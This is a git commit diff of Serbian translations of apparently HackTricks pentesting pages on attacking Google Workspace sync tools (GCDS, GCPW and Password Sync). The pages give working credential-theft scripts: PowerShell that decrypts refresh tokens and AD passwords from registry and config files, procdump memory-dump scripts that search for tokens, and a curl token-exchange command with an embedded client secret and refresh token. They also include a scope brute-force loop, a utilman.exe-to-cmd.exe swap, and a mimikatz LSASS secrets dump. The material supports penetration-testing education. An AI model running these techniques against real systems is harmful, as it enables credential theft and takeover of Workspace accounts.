Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p

This commit is contained in:
Translator
2025-01-21 17:39:44 +00:00
parent 38725bdf96
commit 21d8e4a28f
42 changed files with 714 additions and 697 deletions
@@ -6,7 +6,7 @@
Ovo je alat koji se može koristiti za **sinhronizaciju vaših korisnika i grupa iz aktivnog direktorijuma sa vašim Workspace** (a ne obrnuto u vreme pisanja ovog teksta).
Zanimljivo je jer je to alat koji će zahtevati **akreditive superkorisnika Workspace-a i privilegovanog AD korisnika**. Tako da bi moglo biti moguće pronaći ga unutar domen servera koji bi povremeno sinhronizovao korisnike.
Zanimljivo je jer je to alat koji će zahtevati **akreditive superkorisnika Workspace-a i privilegovanog AD korisnika**. Dakle, može biti moguće pronaći ga unutar domen servera koji bi povremeno sinhronizovao korisnike.
> [!NOTE]
> Da biste izvršili **MitM** na **`config-manager.exe`** binarnu datoteku, jednostavno dodajte sledeću liniju u `config.manager.vmoptions` datoteku: **`-Dcom.sun.net.ssl.checkRevocation=false`**
@@ -20,7 +20,7 @@ Takođe imajte na umu da GCDS neće sinhronizovati lozinke iz AD u Workspace. Ak
### GCDS - Disk tokeni i AD akreditive
Binarna datoteka `config-manager.exe` (glavna GCDS binarna datoteka sa GUI) će po defaultu čuvati konfigurirane akreditive aktivnog direktorijuma, osvežavajući token i pristup u **xml datoteci** u folderu **`C:\Program Files\Google Cloud Directory Sync`** u datoteci pod nazivom **`Untitled-1.xml`**. Iako bi takođe mogla biti sačuvana u `Documents` korisnika ili u **bilo kojem drugom folderu**.
Binarna datoteka `config-manager.exe` (glavna GCDS binarna datoteka sa GUI) će čuvati konfigurirane akreditive aktivnog direktorijuma, osvežavajući token i pristup po defaultu u **xml datoteci** u folderu **`C:\Program Files\Google Cloud Directory Sync`** u datoteci pod nazivom **`Untitled-1.xml`** po defaultu. Iako bi takođe mogla biti sačuvana u `Documents` korisnika ili u **bilo kojem drugom folderu**.
Štaviše, registar **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** unutar ključa **`open.recent`** sadrži putanje do svih nedavno otvorenih konfiguracionih datoteka (xml). Tako da je moguće **proveriti to da ih pronađete**.
@@ -54,7 +54,7 @@ Napomena kako su **refresh** **token** i **password** korisnika **šifrovani** k
<details>
<summary>Powershell skripta za dešifrovanje refresh tokena i lozinke</summary>
```powershell
```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
@@ -154,15 +154,15 @@ Write-Host "Decrypted Password: $decryptedPassword"
Umesto korišćenja powershell skripte, takođe je moguće koristiti binarni fajl **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** sa parametrom `-exportKeys` i dobiti **Key** i **IV** iz registra u heksadecimalnom formatu, a zatim jednostavno koristiti neki cyberchef sa AES/CBC i tim ključem i IV za dešifrovanje informacija.
### GCDS - Ispis tokena iz memorije
### GCDS - Ispisivanje tokena iz memorije
Baš kao i sa GCPW, moguće je ispisati memoriju procesa `config-manager.exe` (to je naziv glavnog binarnog fajla GCDS sa GUI) i moći ćete da pronađete refresh i access tokene (ako su već generisani).\
Pretpostavljam da biste takođe mogli pronaći AD konfigurisanih kredencijala.
Pretpostavljam da biste takođe mogli pronaći AD konfigurisane akreditive.
<details>
<summary>Ispis procesa config-manager.exe i pretraga tokena</summary>
```powershell
<summary>Ispisivanje procesa config-manager.exe i pretraga tokena</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -237,7 +237,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
### GCDS - Generisanje pristupnih tokena iz osvežavajućih tokena
Korišćenjem osvežavajućeg tokena moguće je generisati pristupne tokene koristeći ga i ID klijenta i tajni ključ klijenta navedene u sledećoj komandi:
Korišćenjem osvežavajućeg tokena moguće je generisati pristupne tokene koristeći ga i ID klijenta i tajnu klijenta navedene u sledećoj komandi:
```bash
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
@@ -245,18 +245,18 @@ curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
```
### GCDS - Opsezi
### GCDS - Scopes
> [!NOTE]
> Imajte na umu da čak i sa refresh token-om, nije moguće zatražiti bilo koji opseg za access token jer možete zatražiti samo **opsege koje podržava aplikacija u kojoj generišete access token**.
> Imajte na umu da čak i kada imate refresh token, nije moguće zatražiti bilo koji scope za access token jer možete zatražiti samo **scope-ove koje podržava aplikacija u kojoj generišete access token**.
>
> Takođe, refresh token nije važeći u svakoj aplikaciji.
Podrazumevano, GCSD neće imati pristup kao korisnik svim mogućim OAuth opsezima, pa možemo koristiti sledeći skript da pronađemo opsege koji se mogu koristiti sa `refresh_token` za generisanje `access_token`:
Po defaultu, GCSD neće imati pristup kao korisnik svim mogućim OAuth scope-ovima, pa možemo koristiti sledeći skript da pronađemo scope-ove koji se mogu koristiti sa `refresh_token` za generisanje `access_token`:
<details>
<summary>Bash skript za brute-force opsege</summary>
<summary>Bash skript za brute-force scope-ove</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -11,7 +11,7 @@ Ovo je jedinstveno prijavljivanje koje Google Workspaces pruža kako bi korisnic
### GCPW - MitM
Kada korisnik pristupi Windows PC-u sinhronizovanom sa Google Workspace putem GCPW, biće potrebno da popuni uobičajeni obrazac za prijavu. Ovaj obrazac za prijavu će vratiti OAuth kod koji će PC zameniti za refresh token u zahtevu kao:
Kada korisnik pristupi Windows PC-u sinhronizovanom sa Google Workspace putem GCPW, biće potrebno da popuni uobičajeni obrazac za prijavu. Ovaj obrazac za prijavu će vratiti OAuth kod koji će PC zameniti za refresh token u zahtevu kao što je:
```http
POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
@@ -27,10 +27,8 @@ scope=https://www.google.com/accounts/OAuthLogin
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome
```
Nova linija je dodata da bi se poboljšala čitljivost.
> [!NOTE]
> Bilo je moguće izvršiti MitM instaliranjem `Proxifier` na PC, prepisivanjem `utilman.exe` binarne datoteke sa `cmd.exe` i izvršavanjem **funkcija pristupačnosti** na Windows stranici za prijavu, što će izvršiti **CMD** iz kojeg možete **pokrenuti i konfigurisati Proxifier**.\
> Moguće je izvršiti MitM instaliranjem `Proxifier` na PC, prepisivanjem `utilman.exe` binarne datoteke sa `cmd.exe` i izvršavanjem **funkcija pristupačnosti** na Windows stranici za prijavu, što će izvršiti **CMD** iz kojeg možete **pokrenuti i konfigurisati Proxifier**.\
> Ne zaboravite da **blokirate QUICK UDP** saobraćaj u `Proxifier` kako bi se prešao na TCP komunikaciju i mogli biste ga videti.
>
> Takođe konfigurišite u "Serviced and other users" obe opcije i instalirajte Burp CA certifikat u Windows.
@@ -40,7 +38,7 @@ Pored toga, dodavanjem ključeva `enable_verbose_logging = 1` i `log_file_path =
### GCPW - Otisak prsta
Moguće je proveriti da li je GCPW instaliran na uređaju proverom da li postoji sledeći proces ili da li postoje sledeći registri:
```powershell
```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
@@ -64,7 +62,7 @@ Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}
```
U **`HKCU:\SOFTWARE\Google\Accounts`** moguće je pristupiti emailu korisnika i enkriptovanom **refresh token** ako se korisnik nedavno prijavio.
U **`HKCU:\SOFTWARE\Google\Accounts`** moguće je pristupiti emailu korisnika i enkriptovanom **refresh tokenu** ako se korisnik nedavno prijavio.
U **`HKLM:\SOFTWARE\Google\GCPW\Users`** moguće je pronaći **domeni** koji su dozvoljeni za prijavu u ključeve `domains_allowed`, a u podključevima je moguće pronaći informacije o korisniku kao što su email, slika, korisničko ime, trajanje tokena, token handle...
@@ -98,7 +96,7 @@ U **`HKLM:\SOFTWARE\Google\GCPW\Users`** moguće je pronaći **domeni** koji su
> }
> ```
>
> Koliko ja znam, nije moguće dobiti refresh token ili access token iz token handle.
> Koliko ja znam, nije moguće dobiti refresh token ili access token iz token handle-a.
Pored toga, datoteka **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** je json koji sadrži informacije o različitim **podešavanjima** kao što su `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (ako više korisnika iz Workspace može da se prijavi na računar) i `validityPeriodDays` (broj dana tokom kojih korisnik ne mora ponovo da se autentifikuje sa Google-om direktno).
@@ -111,7 +109,7 @@ Unutar registra **`HKCU:\SOFTWARE\Google\Accounts`** može biti moguće pronaći
<details>
<summary>Dobijte <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> podatke i dekriptujte refresh_tokens</summary>
```powershell
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
@@ -169,25 +167,25 @@ Kao što je objašnjeno u [**ovom videu**](https://www.youtube.com/watch?v=FEQxH
### GCPW - Tokeni za osvežavanje diska
Fajl **`%LocalAppData%\Google\Chrome\User Data\Local State`** čuva ključ za dekripciju **`refresh_tokens`** koji se nalazi unutar **Google Chrome profila** korisnika kao što su:
Datoteka **`%LocalAppData%\Google\Chrome\User Data\Local State`** čuva ključ za dešifrovanje **`refresh_tokens`** koji se nalaze unutar **Google Chrome profila** korisnika kao što su:
- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
Moguće je pronaći neki **C# kod** koji pristupa ovim tokenima u njihovom dekriptovanom obliku u [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
Moguće je pronaći neki **C# kod** koji pristupa ovim tokenima u njihovom dešifrovanom obliku u [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
Štaviše, enkripcija se može pronaći u ovom kodu: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
Može se primetiti da se koristi AESGCM, enkriptovani token počinje sa **verzijom** (**`v10`** u ovom trenutku), zatim [**ima 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), a zatim ima **šifrovani tekst** sa konačnim **mac-om od 16B**.
Može se primetiti da se koristi AESGCM, enkriptovani token počinje sa **verzijom** (**`v10`** u ovom trenutku), zatim ima [**12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), a zatim ima **šifrovani tekst** sa konačnim **mac-om od 16B**.
### GCPW - Ispisivanje tokena iz memorije procesa
Sledeći skript može se koristiti za **ispisivanje** svakog **Chrome** procesa koristeći `procdump`, ekstraktovanje **stringova** i zatim **pretragu** za stringovima vezanim za **access i refresh token**. Ako je Chrome povezan sa nekim Google sajtom, neki **proces će čuvati refresh i/ili access tokene u memoriji!**
Sledeći skript može se koristiti za **ispisivanje** svakog **Chrome** procesa koristeći `procdump`, ekstraktovanje **stringova** i zatim **pretraživanje** stringova povezanih sa **tokenima za pristup i osvežavanje**. Ako je Chrome povezan sa nekim Google sajtom, neki **proces će čuvati tokene za osvežavanje i/ili pristup u memoriji!**
<details>
<summary>Ispisivanje Chrome procesa i pretraga tokena</summary>
```powershell
<summary>Ispisivanje Chrome procesa i pretraživanje tokena</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -380,7 +378,7 @@ https://www.googleapis.com/auth/userinfo.profile
```
</details>
Pored toga, pregledanjem izvornog koda Chromium-a moguće je [**pronaći ovu datoteku**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), koja sadrži **druge opsege** za koje se može pretpostaviti da **se ne pojavljuju u prethodno brute-forced listi**. Stoga se ovi dodatni opsezi mogu pretpostaviti:
Pored toga, pregledanjem izvornog koda Chromium-a moguće je [**pronaći ovu datoteku**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), koja sadrži **druge opsege** za koje se može pretpostaviti da **se ne pojavljuju u prethodno brute-forced listi**. Stoga, ovi dodatni opsezi se mogu pretpostaviti:
<details>
@@ -591,7 +589,7 @@ Neki primeri korišćenja nekih od tih opsega:
<details>
<summary>https://www.googleapis.com/auth/userinfo.email &#x26; https://www.googleapis.com/auth/userinfo.profile</summary>
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
@@ -797,7 +795,7 @@ Više [API krajnjih tačaka u dokumentaciji](https://developers.google.com/vault
## GCPW - Oporavak lozinke u čistom tekstu
Da bi se iskoristio GCPW za oporavak lozinke u čistom tekstu, moguće je izvući šifrovanu lozinku iz **LSASS** koristeći **mimikatz**:
Da bi se iskoristio GCPW za oporavak lozinke u čistom tekstu, moguće je izvući enkriptovanu lozinku iz **LSASS** koristeći **mimikatz**:
```bash
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
```
@@ -13,11 +13,11 @@ Instalira se u `C:\Program Files\Google\Password Sync` gde možete pronaći bina
Da biste konfigurisali ovaj binarni fajl (i servis), potrebno je **dati mu pristup Super Admin principalu u Workspace-u**:
- Prijavite se putem **OAuth** sa Google-om i onda će **sačuvati token u registru (kriptovan)**
- Dostupno samo na kontrolerima domena sa GUI
- Dati neke **akreditivne podatke Servisnog Naloga iz GCP-a** (json fajl) sa dozvolama za **upravljanje korisnicima Workspace-a**
- Dostupno samo na domen kontrolerima sa GUI
- Dati neke **akreditivne podatke servisnog naloga iz GCP** (json fajl) sa dozvolama za **upravljanje korisnicima Workspace-a**
- Veoma loša ideja jer ti akreditivi nikada ne isteknu i mogu se zloupotrebiti
- Veoma loša ideja dati SA pristup preko workspace-a jer bi SA mogao biti kompromitovan u GCP-u i moguće je prebaciti se na Workspace
- Google to zahteva za kontrolisane domene bez GUI
- Google to zahteva za domen kontrolisane bez GUI
- Ovi akreditivi se takođe čuvaju u registru
Što se tiče AD-a, moguće je naznačiti da koristi trenutni **kontekst aplikacija, anonimno ili neke specifične akreditive**. Ako je opcija akreditiva izabrana, **korisničko ime** se čuva unutar fajla na **disku** a **lozinka** je **kriptovana** i čuva se u **registru**.
@@ -31,9 +31,9 @@ U fajlu **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** moguće
U registru **`HKLM\Software\Google\Google Apps Password Sync`** moguće je pronaći **kriptovani refresh token** i **kriptovanu lozinku** za AD korisnika (ako ih ima). Štaviše, ako se umesto tokena koriste neki **SA akreditivi**, takođe je moguće pronaći te kriptovane u toj adresi registra. **Vrednosti** unutar ovog registra su dostupne samo **Administratorima**.
Kriptovana **lozinka** (ako je ima) se nalazi unutar ključa **`ADPassword`** i kriptovana je koristeći **`CryptProtectData`** API. Da biste je dekriptovali, morate biti isti korisnik kao onaj koji je konfigurisao sinhronizaciju lozinke i koristiti ovu **entropiju** prilikom korišćenja **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
Kriptovana **lozinka** (ako je ima) se nalazi unutar ključa **`ADPassword`** i kriptovana je koristeći **`CryptProtectData`** API. Da biste je dekriptovali, morate biti isti korisnik kao onaj koji je konfigurisao sinhronizaciju lozinki i koristiti ovu **entropiju** prilikom korišćenja **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
Kriptovani token (ako ga ima) se nalazi unutar ključa **`AuthToken`** i kriptovan je koristeći **`CryptProtectData`** API. Da biste ga dekriptovali, morate biti isti korisnik kao onaj koji je konfigurisao sinhronizaciju lozinke i koristiti ovu **entropiju** prilikom korišćenja **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
Kriptovani token (ako ga ima) se nalazi unutar ključa **`AuthToken`** i kriptovan je koristeći **`CryptProtectData`** API. Da biste ga dekriptovali, morate biti isti korisnik kao onaj koji je konfigurisao sinhronizaciju lozinki i koristiti ovu **entropiju** prilikom korišćenja **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
Štaviše, takođe je kodiran koristeći base32hex sa rečnikom **`0123456789abcdefghijklmnopqrstv`**.
Vrednosti entropije su pronađene korišćenjem alata. Konfigurisano je da prati pozive ka **`CryptUnprotectData`** i **`CryptProtectData`** i zatim je alat korišćen za pokretanje i praćenje `PasswordSync.exe` koji će dekriptovati konfigurisanju lozinku i auth token na početku, a alat će **prikazati vrednosti za korišćenu entropiju** u oba slučaja:
@@ -47,12 +47,12 @@ U slučaju da je Password Sync **konfiguran sa SA akreditivima**, takođe će bi
### GPS - Ispisivanje tokena iz memorije
Baš kao i sa GCPW, moguće je ispisati memoriju procesa `PasswordSync.exe` i `password_sync_service.exe` i moći ćete da pronađete refresh i access tokene (ako su već generisani).\
Pretpostavljam da biste takođe mogli pronaći konfiguracione akreditive za AD.
Pretpostavljam da biste takođe mogli pronaći konfigurirane akreditive za AD.
<details>
<summary>Ispisivanje <code>PasswordSync.exe</code> i <code>password_sync_service.exe</code> procesa i pretraga tokena</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
@@ -148,7 +148,7 @@ Podrazumevano, GPS neće imati pristup kao korisnik svim mogućim OAuth scope-ov
<details>
<summary>Bash skript za brute-force scope-ove</summary>
<summary>Bash script to brute-force scopes</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -179,6 +179,6 @@ https://www.googleapis.com/auth/admin.directory.user
Koji je isti kao onaj koji dobijate ako ne navedete nikakav opseg.
> [!CAUTION]
> Sa ovim opsegom možete **modifikovati lozinku postojećeg korisnika kako biste eskalirali privilegije**.
> Sa ovim opsegom možete **izmeniti lozinku postojećeg korisnika kako biste eskalirali privilegije**.
{{#include ../../../banners/hacktricks-training.md}}